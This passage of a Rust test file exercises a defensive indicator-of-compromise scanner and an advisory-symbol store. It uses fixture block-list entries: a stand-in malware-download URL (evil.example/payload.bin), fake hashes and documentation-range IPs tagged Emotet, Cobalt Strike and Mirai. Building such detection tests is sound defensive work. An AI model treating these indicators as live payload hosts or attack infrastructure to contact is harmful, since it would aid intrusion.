IocKind::Url,
"http://evil.example/payload.bin",
"Emotet",
"urlhaus",
vec![],
),
Ioc::new(
IocKind::Sha256,
&"AB".repeat(32),
"Cobalt Strike",
"malwarebazaar",
vec![],
),
Ioc::new(IocKind::Ipv4, "198.51.100.7", "Mirai", "greynoise", vec![]),
Ioc::new(IocKind::Cidr, "203.0.113.0/24", "DROP", "spamhaus", vec![]),
],
)
.unwrap();
let observables: Vec<String> = [
"http://evil.example/payload.bin", // url hit
&"ab".repeat(32), // sha256 hit, case-folded at both ends
"198.51.100.7", // exact ipv4 hit
"203.0.113.42", // inside the bad CIDR ⇒ containment hit
"https://crates.io/api/v1/x.crate", // clean url
"8.8.8.8", // clean ip
"registry.npmjs.org", // clean domain
"not an observable at all", // unclassifiable ⇒ skipped, not guessed
]
.iter()
.map(|s| s.to_string())
.collect();
let hits = wh.ioc_scan("ioc-1", &observables).unwrap();
let hit_obs: Vec<&str> = hits.iter().map(|h| h.observable.as_str()).collect();
assert_eq!(
hit_obs,
vec![
"http://evil.example/payload.bin",
&"ab".repeat(32)[..],
"198.51.100.7",
"203.0.113.42"
],
"only bad-list observables produce rows; clean ones are silent (the act leg)"
);
assert!(
hits.iter()
.all(|h| h.verdict.decision == crate::core::Decision::Block
&& h.verdict.axis == crate::baddie::BaddieAxis::Ioc
&& h.verdict.rank == 9),
"every b6 hit is an unconditional refuse at the top of the evidence ladder"
);
assert_eq!(hits[0].verdict.label(), "refuse");
assert_eq!(
hits[1].kind, "sha256",
"kind INFERRED from the observable's shape"
);
assert_eq!(hits[1].threat, "Cobalt Strike");
// The CIDR hit reports the NETWORK that matched, not the queried IP.
assert_eq!(hits[3].indicator, "203.0.113.0/24");
assert_eq!(hits[3].kind, "cidr");
assert_eq!(hits[3].source, "spamhaus");
// A row with an unreadable kind label is NOT indexed and IS counted — a
// schema drift must surface, never shrink the bad-list into a fake clean sweep.
let (index, skipped) = wh.ioc_index("ioc-1").unwrap();
assert_eq!(
skipped, 0,
"every stored label round-trips through IocKind::from_label"
);
assert!(
index.verdict_for("8.8.8.8").is_none(),
"a clean IP has no verdict"
);
assert!(
wh.ioc_scan("no-such-snapshot", &observables)
.unwrap()
.is_empty(),
"snapshot-keyed"
);
std::fs::remove_dir_all(&root).ok();
}
#[test]
fn vuln_symbols_round_trip() {
use crate::osv::VulnSymbol;
let root = temp_root("vulnsyms");
let wh = Warehouse::open(&root).unwrap();
wh.ensure_modgunn_tables().unwrap();
let syms = vec![
VulnSymbol {
id: "GO-2024-0001".into(),
ecosystem: "go".into(),
package: "github.com/foo/bar".into(),
symbol: "Parse".into(),
severity: Severity::High,
},
VulnSymbol {
id: "GO-2024-0001".into(),
ecosystem: "go".into(),
package: "github.com/foo/bar/internal".into(),
symbol: String::new(),
severity: Severity::High,
},
];
wh.append_vuln_symbols("snap-s", &syms).unwrap();
let mut got = wh.read_vuln_symbols("snap-s").unwrap();
got.sort();
assert_eq!(
got,
vec![
(
"GO-2024-0001".to_string(),
"go".into(),
"github.com/foo/bar".into(),
"Parse".into(),
"High".into()
),
(
"GO-2024-0001".to_string(),
"go".into(),
"github.com/foo/bar/internal".into(),
"".into(),
"High".into()
),
],
"the whole-package record (empty symbol) round-trips too"
);
// Snapshot-keyed: another snapshot sees none of these.
assert!(wh.read_vuln_symbols("other").unwrap().is_empty());
// load_vuln_sinks closes the b1 loop: the function-level record resolves to a
// fully-qualified call-graph sink; the whole-package record (empty symbol) is
// dropped (no single node to gate on). The sink type is Engine B (scip), so
// this leg only runs when that feature is on — the raw round-trip above always
// does.
#[cfg(feature = "scip")]
{
let mut sinks = wh.load_vuln_sinks("snap-s").unwrap();
sinks.sort_by(|a, b| a.symbol.cmp(&b.symbol));
assert_eq!(
sinks.len(),
1,
"only the named-symbol record becomes a sink"
);
assert_eq!(sinks[0].symbol, "github.com/foo/bar.Parse");
assert_eq!(sinks[0].advisory, "GO-2024-0001");
assert_eq!(
sinks[0].severity,
Severity::High,
"severity round-trips through the label"
);
}
std::fs::remove_dir_all(&root).ok();
}
#[test]
fn ioc_indicators_round_trip() {
use crate::ioc::{Ioc, IocKind};
let root = temp_root("iocs");
let wh = Warehouse::open(&root).unwrap();
wh.ensure_modgunn_tables().unwrap();
let iocs = vec![
Ioc {
kind: IocKind::Url,
value: "http://evil/x".into(),
threat: "malware_download".into(),
source: "urlhaus".into(),
tags: vec!["elf".into()],
},
Ioc {
kind: IocKind::Ipv4,
value: "1.2.3.4".into(),
threat: "Emotet".into(),
source: "feodo".into(),
tags: vec![],
},
];
wh.append_iocs("snap-i", &iocs).unwrap();
let mut got = wh.read_iocs("snap-i").unwrap();
got.sort();
assert_eq!(
got,
vec![
(
"ipv4".to_string(),
"1.2.3.4".into(),
"Emotet".into(),
"feodo".into()
),
(
"url".to_string(),
"http://evil/x".into(),
"malware_download".into(),
"urlhaus".into()
),
]
);
The file goes on; the console shows all of it.